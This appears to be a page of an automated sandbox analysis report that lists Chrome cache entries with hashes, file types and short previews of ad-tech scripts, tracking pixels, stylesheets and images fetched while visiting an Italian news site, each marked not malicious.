Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60557), with no line terminators
Category:	downloaded
Size (bytes):	60557
Entropy (8bit):	5.436168558528546
Encrypted:	false
SSDEEP:	768:2fu0kRlaSzEJnVC3GuwTWUTD6RRO1tFwDsulSKlYaZvUW8:2fXClSCWu6TDcREtFwDD36aL8
MD5:	D7A259136E59C031F3957A16241E3C9A
SHA1:	2CBF8A047A1CF8124F2BDFD515FE5B983A1C5C6C
SHA-256:	7E6A8B2E3A2AF539C51845E313A8CE4E3EB38AE3FF5498772B4714D992F3E49E
SHA-512:	E9A69177BE56DE6F2B83BF3E9A3BE8288B271EF4634F8B2CDD02D7913C358A6F3E632BAC56C65B274EE84EDD8BF50583286505212681EF5E298ED23098FC4CD3
Malicious:	false
Reputation:	low
URL:	https://tags.crwdcntrl.net/lt/c/15238/lt.min.js
Preview:	var lotameIsCompatible = function() { return ( typeof Object.keys !== 'undefined' && typeof window.postMessage !== 'undefined' && typeof XMLHttpRequest !== 'undefined' && typeof(new XMLHttpRequest().withCredentials) !== 'undefined' && typeof console !== 'undefined' && typeof console.log !== 'undefined' && typeof document.createElement !== 'undefined' ); }; if(!lotameIsCompatible()){ if(console && console.error){ console.error('Lotame: This browser does not meet the minimum requirements.'); } } else { function lt15238_aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}function lt15238_a(a){var b="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];return b?b.call(a):{next:lt15238_aa(a)}}var lt15238_ba="function"==typeof Object.create?Object.create:function(a){function b(){}b.prototype=a;return new b},lt15238_b; if("function"==typeof Object.setPrototypeOf)lt15238_b=Object.setPrototypeOf;else{var lt15238_c;a:{var lt15238_ca={Qb:!0},lt15238_da={}

Chrome Cache Entry: 882

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57196)
Category:	downloaded
Size (bytes):	110147
Entropy (8bit):	4.920389651812489
Encrypted:	false
SSDEEP:	1536:iLeJqf9Zk2u5SOV+UQ3Zo/0kxhdRVrkQzE:iLeJEk2u5SOV+UQ3Zo/0kPdvQQzE
MD5:	0234D0A7685AEFA6FD06041FBD602928
SHA1:	CBCBA60AA82286DD1F877CB8BD5B5CC047F82CE0
SHA-256:	0085ADFD2D08A45F62A06D8F3F969DDC4A94EBE8D226511DB90AA038F11ED180
SHA-512:	298B4324851F0D9662A48EF2FA74E65CD78FB4BC69191B05E70C254B6CC196719E7F35FE3E882857026FCFA260F0A5B1208E964EE9F42A9DD2E2FED0ACB070D1
Malicious:	false
Reputation:	low
URL:	https://c0.wp.com/c/6.4.3/wp-includes/css/dist/block-library/style.min.css
Preview:	@charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-audio{box-sizing:border-box}.wp-block-audio figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}.wp-block-button__link{box-sizing:border-box;cursor:pointer;display:inline-block;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-bl

Chrome Cache Entry: 883

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (31357)
Category:	downloaded
Size (bytes):	104442
Entropy (8bit):	5.4742082370693765
Encrypted:	false
SSDEEP:	1536:tYagKkecz5adb1NG/8QXBLU/v4lR3mEvFU+kwFdWSgB3DL8P+:B3uwG0Q5UHYR3f1kwFxFG
MD5:	A2683C6C56E60EF2E4B6A1B186452E93
SHA1:	DFDD345D21AB911ABA04DFFF716B44817A88F99F
SHA-256:	C6F34801476F2580689387FB88B6348241F3F0C256EA23B40347C92E397E81CB
SHA-512:	82F6A235F98877A77C34772B8828741C6025C93B30F4CAE41FE7888B0575EE935F2BEC4C90BD9458D8A34C82D5FA9B48637AED38B5393CAF4D5BD5DA1D65ECBA
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/static/topics/topics_frame.html
Preview:	<!DOCTYPE html>.<html>. <head>. <meta charset="UTF-8" />. <title>Topics Frame</title>. <meta. http-equiv="origin-trial". content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjk1MTY3OTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0=". />. <script>. ./.. Copyright 2022 Google LLC. SPDX-License-Identifier: Apache-2.0./.var m,aa,ba=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find

Chrome Cache Entry: 884

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (52990)
Category:	downloaded
Size (bytes):	53044
Entropy (8bit):	5.438374620694402
Encrypted:	false
SSDEEP:	768:Hcrbt0v6S3UbiINuGAIA0XieVpeB6ELQ1GHaLi9:HoBmM9e4E01GHa29
MD5:	0B6AA3AA07869D5163C8D489F7C66256
SHA1:	BD32C24DFC6C71AE54BF2E6473AD61FA6F81BE3B
SHA-256:	3D649C0B3E87FD6ABCB983656A0A1B3923A2A59885C3A30538641FD4F7126CBD
SHA-512:	D754CB423718F3BC335081D41A88386B58E2EB523635BD15773B43495064B52B0FBB9265DA8DD19E47A97CFAA1FABD40C73C36F9684F6C44F2A18E6502F44E88
Malicious:	false
Reputation:	low
URL:	https://acdn.adnxs.com/dmp/async_usersync.html
Preview:	<!DOCTYPE html>.<html>.<head>.</head>.<body>.<script type="text/javascript">!function(t){var e={};function a(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,a),i.l=!0,i.exports}a.m=t,a.c=e,a.d=function(t,e,n){a.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:n})},a.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},a.t=function(t,e){if(1&e&&(t=a(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var n=Object.create(null);if(a.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var i in t)a.d(n,i,function(e){return t[e]}.bind(null,i));return n},a.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return a.d(e,"a",e),e},a.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},a.p="./",a(a.s=114)}({1:functi

Chrome Cache Entry: 885

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=openx&google_hm=MDFhMTZlYzMtOGM5NC02YzNiLTdjNDctMGNhZDRhZmJlODg3
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 886

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64886)
Category:	downloaded
Size (bytes):	385859
Entropy (8bit):	5.393746741801648
Encrypted:	false
SSDEEP:	6144:P5L9Ae0O81PNJ3GADMWN2xw9lrpNEGKJ4PrSe3CR:1+eL8RjLltPKJu3CR
MD5:	34D68FE04242B703D299F49883151D91
SHA1:	22D93800CB276BDE3ED152B9D32A465ED266FD18
SHA-256:	01BD52D716BBEEC34ADC7BB0B8057C91B2544879A6A2A762A5B7D4FB7668DBC8
SHA-512:	C7C82001080070623E3333EFA643FD07215D449FC4031771B5C285956803006A660D0E073A165C110DD4673348A60FBD1FB9597F826CB7A081CABEC2CD587BF5
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/lib/prebid/prebid.codesour.js
Preview:	/* prebid.js v8.17.0-pre.Updated: 2024-03-21.Modules: adpod, userId, appnexusBidAdapter, pubmaticBidAdapter, criteoBidAdapter, outbrainBidAdapter, rubiconBidAdapter, seedtagBidAdapter, showheroes-bsBidAdapter, teadsBidAdapter, consentManagement, currency, dfpAdServerVideo, gdprEnforcement, gptPreAuction, schain, criteoIdSystem, pubstackAnalyticsAdapter, oguryBidAdapter, identityLinkIdSystem, atsAnalyticsAdapter, pairIdSystem */.if(window.pbjs&&window.pbjs.libLoaded)try{window.pbjs.getConfig("debug")&&console.warn("Attempted to load a copy of Prebid.js that clashes with the existing 'pbjs' instance. Load aborted.")}catch(e){}else (function(){.!function(){var e,n={35706:function(e,n,t){t.d(n,{Pd:function(){return d},Th:function(){return s},_U:function(){return f}});var r=t(55730),i=t(64358),o=t(20265),a=t(34614),u=(0,t(78640).R)(),c="outstream";function s(e){var n=this,t=e.url,o=e.config,a=e.id,u=e.callback,s=e.loaded,d=e.adUnitCode,f=e.renderNow;this.url=t,this.config=o,this.handlers={}

Chrome Cache Entry: 887

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (874)
Category:	downloaded
Size (bytes):	913
Entropy (8bit):	5.490352056290037
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hT8FM+sBntvwCCZV9Uk2HXrTuRXKr5c:c2Yz8TqMnhYJ2HbTuRXEc
MD5:	045549F9E866CE6EBF81F4C0494A07F8
SHA1:	487B87E4BD6B7280EE3D1A2FAE2B41815E7FA7BE
SHA-256:	E78325A99DE8EEAE1C13884E8FF333A75449CE348D4EA6E9DECF7AD9ABE29984
SHA-512:	162FF0AC38B8AEF7B2F503662D6CA6CB8632B30DD4EE33DBAE9FD047808309924A21A246531EF2C2815BFD8683D36BFCB874B49E6A3BF98A4AD2E8418BBDDAF6
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=beeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=TapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://match.prod.bidr.io/cookie-sync/tm?tvuid=5c99a009bd184d5ca3b7885003b720e3&rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><Creatives><Creative><Linear><TrackingEvents/></Linear></Creative></Creatives></Wrapper></Ad></VAST>

Chrome Cache Entry: 888

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	299
Entropy (8bit):	5.280052635092167
Encrypted:	false
SSDEEP:	6:6v/lhPfOSaRquXhkrTLI8SY0LHD5AE5hJQ2cheVp:6v/7eSaDik8SY0DD5AoJtcO
MD5:	388940C42991EFD9EB33F133E3280696
SHA1:	C6B4C460D1CCB5833DEB7844423C54C5F2CD2394
SHA-256:	D65F4B2E8EEE94DDC7F762D098DE19558D879A3B597C8913B4D075532E3ED4B4
SHA-512:	5E103C4E4FAC6343E7A133DC80970C98D5B843BDCA4C5E613F9CAAA5BD295C272E7D3EDA1937FB553CB91111497A25B33DC8B8AA80157D49E92BB70BA5F8F476
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yD/r/FEppCFCt76d.png
Preview:	.PNG........IHDR.............(-.S...`PLTE................................................................................................\|%......tRNS.....!.\4....v..2...)....~....CI}....[IDATx..G..0.DQ............Ydv.!.}/j..9..b@.....u.........3.....40..n`q...^.\9.qH..~..._..H<.\|.....IEND.B`.

Chrome Cache Entry: 889

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 329x329, components 3
Category:	downloaded
Size (bytes):	18923
Entropy (8bit):	7.954353043805605
Encrypted:	false
SSDEEP:	384:0gII6DtEgC9ONXmq7uXSO+LLLLLLLVR+a0zyMdoGp7vcrJMQOjDg:09DtVC9ONXmzXQLLLLLLLV5kpoGpzcr1
MD5:	BE5A2AE6F19C0B11C1F4FED2AE618C38
SHA1:	9BEA806BEFFE38ED1D6A8C0360A4AB7B74DD7613
SHA-256:	6CA2056A2AEB1986615D09DA1BEE37736CE2C6970AA88C0138A27B9847909484
SHA-512:	A3472576FA406DF5A4CB86DAF8226241B23CA971ED59522BBB8A50128CFCECBD3756B4FE176357F70421297149AF1A3C83887011311E623C86250FA5671509C8
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/uploads/2017/04/quadrato-icon.jpg
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''......I.I..".......................................................................................!1..AQa...q..."...U6...2Rr.#Sc..tBb..s.....3C.4T5..$E.d........................!1AQ..aq..."R....2B....Ss4T...r.#3.b..$5.C.............?...................................................................R....t...r...EX.i$tR>6.ZKp..d...F^.}w......~.^...'..j..e."..FE.A....os.W1.<..u....]...ju...]...j..y.e.8..l.......2...X..N.2...X..T.'Y.H.O.l.......2...X..N.2...X..T.'Y.H.O.l.......2...X..N.2...../.U(..e.8...?...,.....$..%s9y...R.[&.6J.iq.g..wX.......<..vz..=cw...m....d....=S..R5......,..6\........x..]a.Fg........T.d..~d..v........*..=...P.x......E..[8..T%./1.F1....+9F.......Mpp.MA\..I..r.....TDE.........kK.p.I'P....a.y....V2.8mG..J....qqU.s...-.U.;$.k....S.G..tqp.T.4.

Chrome Cache Entry: 891

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:v:v
MD5:	68B329DA9893E34099C7D8AD5CB9C940
SHA1:	ADC83B19E793491B1C6EA0FD8B46CD9F32E592FC
SHA-256:	01BA4719C80B6FE911B091A7C05124B64EEECE964E09C058EF8F9805DACA546B
SHA-512:	BE688838CA8686E5C90689BF2AB585CEF1137C999B48C70B92F67A5C34DC15697B5D11C982ED6D71BE1E1E7F7B4E0733884AA97C3F7A339A8ED03577CF74BE09
Malicious:	false
Reputation:	low
URL:	https://tracker.neodatagroup.com/cm?pv=dbm&sid=1011&rt=img&rnd=436232701635&google_gid=CAESEFUiyoSAJM68NzMb8_TKqbY&google_cver=1
Preview:	.

Chrome Cache Entry: 892

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4613
Entropy (8bit):	4.575333722190466
Encrypted:	false
SSDEEP:	96:cKoN5vUQ53qKo1YfV1ACdj8/4qGBe8vFtqIjEmtHGqIj6eAyC78H:c1SQBz0o/UwB3FtbI5b+WC78H
MD5:	D3095179F73D315E02B3664753232D5F
SHA1:	AE5512685845AF27DF3716FAD0EBBB409463504E
SHA-256:	FD94AC1BAE64CED8DF38BC1541BB9262D3510CD6E92A9B604C6045EB72AB1C86
SHA-512:	F9D516AC75C00040E3A4502D74E751DDDC78A69D7A6FE3C37A4A277A653C4E7A3434B35482E3060882673D072057537DAC853746BFDD16057466C179CDF9A3A3
Malicious:	false
Reputation:	low
URL:	https://cstatic.weborama.fr/js/topics/topics.js?src=wai
Preview:	// register tcf v2 api.(function () {. if (typeof window.__tcfapi === "function") {. return;. }.. var frame = window,. cmpFrame,. cmpCallbacks = {};.. while (frame) {. try {. if (frame.frames["__tcfapiLocator"]) {. cmpFrame = frame;. break;. }. } catch (ignore) {}. if (frame === window.top) {. break;. }.. frame = frame.parent;. }.. if (!cmpFrame) {. return;. }.. window.__tcfapi = function (cmd, version, callback, arg) {. const callId = Math.random() + "";. const msg = {. __tcfapiCall: {. command: cmd,. parameter: arg,. version: version,. callId: callId,. },. };.. cmpCallbacks[callId] = callback;. cmpFrame.postMessage(msg, "*");. };.. var postMessageHandler = function (event) {. var json = {};.. try {. json =. typeof event.data === "string" ? JSON.parse(event.data) : event.data;. } catch (ignore) {}.. const payload = json.__tcfapiReturn;.. if

Chrome Cache Entry: 893

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (14301)
Category:	downloaded
Size (bytes):	14612
Entropy (8bit):	5.420526445147015
Encrypted:	false
SSDEEP:	384:Ss9t0S/g8UoDthaNyvhCCVKTKWhKPKiX2BKIQNv+bnKlRCLJT9KpW:N7/DLDth68X22jR8T/
MD5:	A4B07E166B2E7B204F2BDA4086E78BBA
SHA1:	B1A71DD22C97D7DAB8EA6F300DCF6A536B5FCAE1
SHA-256:	8DEB4DCD9CE02AFC82CD8EE1938A02D0C40BD438FA8DA4F22A255676FBE543E9
SHA-512:	FB9BB5333604FF75AA229017C5B40AEB9752E37046F5CE7EC4F766C25DA896CEF69864CB8CD19A3D4C4B03EDB108B6F6862D4C8AE803DCB6AD79B041A99260B5
Malicious:	false
Reputation:	low
URL:	https://gum.criteo.com/syncframe?origin=publishertagids&topUrl=bsnews.it
Preview:	<!DOCTYPE html>.<html>.<head>. <script type="text/javascript">. window.CONFIG_CSM_DOMAIN_NAME = "csm.va.us.criteo.net";. window.CONFIG_CSM_RATIO = 100;. window.GUM_DOMAIN = "gum.criteo.com";. </script>. <script type="text/javascript">. !function(){"use strict";var i=function(t,e){return(i=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n])})(t,e)};function t(t,e){function n(){this.constructor=t}i(t,e),t.prototype=null===e?Object.create(e):(n.prototype=e.prototype,new n)}var e=function(){return(e=Object.assign\|\|function(t){for(var e,n=1,i=arguments.length;n<i;n++)for(var o in e=arguments[n])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t}).apply(this,arguments)};function n(r,s,a,l){return new(a=a\|\|Promise)(function(t,e){function n(t){try{o(l.next(t))}catch(t){e(t)}}function i(t){try{o(l.throw(t))}catch(t){e(t)}}function o(e){e.done?t(e.value

Chrome Cache Entry: 894

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 15, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1711
Entropy (8bit):	7.223332603238184
Encrypted:	false
SSDEEP:	48:TqQNn2qH4rJ3o4jpz2EnY+FBC5dHQ6D50qgx:uY2Kiz2xVdHQ6D5S
MD5:	A8D20EC2C9AF11D807ABD1FA0210FED7
SHA1:	DBE70A99FE1F03FD61D0EA25EE04DAB8E9ED479E
SHA-256:	EF41212A278B695B42D60B2AB9423983C102297349D13439C5E13ABEB3C2AA01
SHA-512:	E91BAD7FCE76CA266C7599DAF12683977FBEEEAC05FCDDA46A026935FD034731A4CED67E8512B17E69BEDDD5022A5A81BD7B8469D54B1BB04C76D6B28ECB0BBF
Malicious:	false
Reputation:	low
URL:	https://images-na.ssl-images-amazon.com/images/G/01/da/adchoices/ac-topright-sprite.png
Preview:	.PNG........IHDR...`..........:.....tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:DF00DB4E23D311E2B3CCFE1C1AF72E2B" xmpMM:DocumentID="xmp.did:DF00DB4F23D311E2B3CCFE1C1AF72E2B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DF00DB4C23D311E2B3CCFE1C1AF72E2B" stRef:documentID="xmp.did:DF00DB4D23D311E2B3CCFE1C1AF72E2B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>A..o...!IDATX...o.A...4.....&....'N^..x1...51.....&.....'.b....n.Tm]@..n.E(.(`..V.!..&}q.......8...f...g...F.1

Chrome Cache Entry: 895

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, was "close_dark.svg", last modified: Thu Sep 14 18:30:04 2017, from Unix, original size modulo 2^32 311
Category:	downloaded
Size (bytes):	233
Entropy (8bit):	7.152111453674734
Encrypted:	false
SSDEEP:	6:XL0PKWsfO3vvFXP5o1XH7kVUsTS822hQyia9DRVenVTXNLrt:XLd/fuvvF7fH2Nyic1Vgj
MD5:	BF5C9ED1702B4592068E786B3CB859F6
SHA1:	3B1082A97B9DD53E8581F9D7B6F85F64B42CFFEB
SHA-256:	E9C071C3CD8F30A962BA7927410EF90DECDBFC908193BE117FF5A291957F645A
SHA-512:	1F1D69250CCC734C8B5C23A9BA946D52D23CD941684D130C370DD4E4AD63680856C55D13E616BB12F4639F3335296A3485B9AF54559F4A992C76B8F60A89331A
Malicious:	false
Reputation:	low
URL:	https://c.gumgum.com/ads/com/gumgum/icons/svg/close_dark.svg
Preview:	......Y..close_dark.svg.E.M.. ...b1{c.j.d.uz..m$...J2...F.............Z..2LG%`.....5..N..#F..."5.I..x.C.?.Z.......aqC.>..ytn..N).L..9W).V....w....."w..y.I......>.p.w..a.p..p.-P..`.t.&.B..\`C1......FcUp&.....'-.....Ri6.7...

Chrome Cache Entry: 896

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537073026&val=ZgUvmYmwxYqWZbrmHpxg_S6E
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 897

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (541), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	12755
Entropy (8bit):	5.502838554079482
Encrypted:	false
SSDEEP:	192:yzQauoLrZq4ABRfJAtaFh2Ld2GlgKgEdEuobZNMSqPkEFkOfJBCOkyE2lwAh8:yBuCtChAtAUfrFEuoNBOfbCOkyE2WK8
MD5:	0F3B9EA6FC487F65868AE54434768F64
SHA1:	F1753D443FD0C94844F48F662D74D3A2B9F566C3
SHA-256:	B2B643512F3BE5883F277DC651F114C84B07F59695765FA94620BC344ED5128E
SHA-512:	4877A5B03F29A36004A0416964CE3518DFDEDF04B6B22C6800C0E43DE6DA21A07A4B78EE10660CD8278D3E50C07CDDCEDADAB6CE1C5577FFC629EA5EA68E79C4
Malicious:	false
Reputation:	low
URL:	https://clickiocmp.com/t/consent_215875.js
Preview:	/* eu: 0 /./ src: 2024-03-14 16:08:23 GMT /../ gen: 2024-03-26 12:21:26 GMT */..;(function(){(function(){function da(a,b,c,k){b\|\|(b=function(){});k\|\|(k=function(){});c=c\|\|w;var m=J("script",c);m.setAttribute("type","text/javascript");m.setAttribute("src",a);m.setAttribute("async","async");t(m)&&(ea?m.onreadystatechange=function(){"loaded"==this.readyState\|\|"complete"==this.readyState?C(b):C(k)}:(m.onload=function(r){var p=this;C(function(){b.call(p,r);p.parentNode.removeChild(p)})},m.onerror=function(r){var p=this;C(function(){k.call(p,r);p.parentNode.removeChild(p)})}),Z(c).appendChild(m))}.function z(){return{state:function(){return e.state.B},N:function(){return e.google.ca},va:function(){return e.aa.R}}}function fa(){var a=!1;if(null!==P)return P;if(h===h.top)a=h.location;else try{a=h.top.location.href?h.top.location:!1}catch(b){D(h.__lxG__.pageUrl)?a=Q(h.__lxG__.pageUrl):w.referrer?a=Q(w.referrer):a=h.location}return a?P={href:a.href,host:a.host,hostname:a.hostname,origin:a.or

Chrome Cache Entry: 898

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65133)
Category:	downloaded
Size (bytes):	502317
Entropy (8bit):	5.350143268886485
Encrypted:	false
SSDEEP:	6144:/5MNKYqpim6TGEw1HO53SWKebFTFMnv0S9aLPCsAuMJDnKkDMIG:/5MNKYqIm6AZD93G
MD5:	14B3774FAD07E7F9E9BC327EEF37478F
SHA1:	81FD4F6D8C81DFC40499861A79A89ADF841A874C
SHA-256:	9FC57B49CDCFA478396B186BDD03FDAA108B8975E58D156F41BC011056388728
SHA-512:	5C39EF82CA80D96A134C12EAF482D1CD744D07BF60455BC80860675927C6191053C5A05EADF816A40AA1248EEBF8EB2B180A03C8A57D9C30193D06401F2803FD
Malicious:	false
Reputation:	low
URL:	https://www.digistream.it/wp-content/plugins/digistream/digiplayer/js/video.min.js?ver=1.1.17
Preview:	/*. @license. * Video.js 7.5.5 <http://videojs.com/>. * Copyright Brightcove, Inc. <https://www.brightcove.com/>. * Available under Apache License Version 2.0. * <https://github.com/videojs/video.js/blob/master/LICENSE>. . Includes vtt.js <https://github.com/mozilla/vtt.js>. * Available under Apache License Version 2.0. * <https://github.com/mozilla/vtt.js/blob/master/LICENSE>. */.!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t(require("global/window"),require("global/document")):"function"==typeof define&&define.amd?define(["global/window","global/document"],t):(e=e\|\|self).videojs=t(e.window,e.document)}(this,function(v,h){v=v&&v.hasOwnProperty("default")?v.default:v,h=h&&h.hasOwnProperty("default")?h.default:h;var d="7.5.5";function p(e,t){e.prototype=Object.create(t.prototype),(e.prototype.constructor=e).__proto__=t}function a(e,t){return(a=Object.setPrototypeOf\|\|function(e,t){return e.__proto__=t,e})(e,t)}function s(e,t,i){return(s=functio

Chrome Cache Entry: 899

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.403590365002627
Encrypted:	false
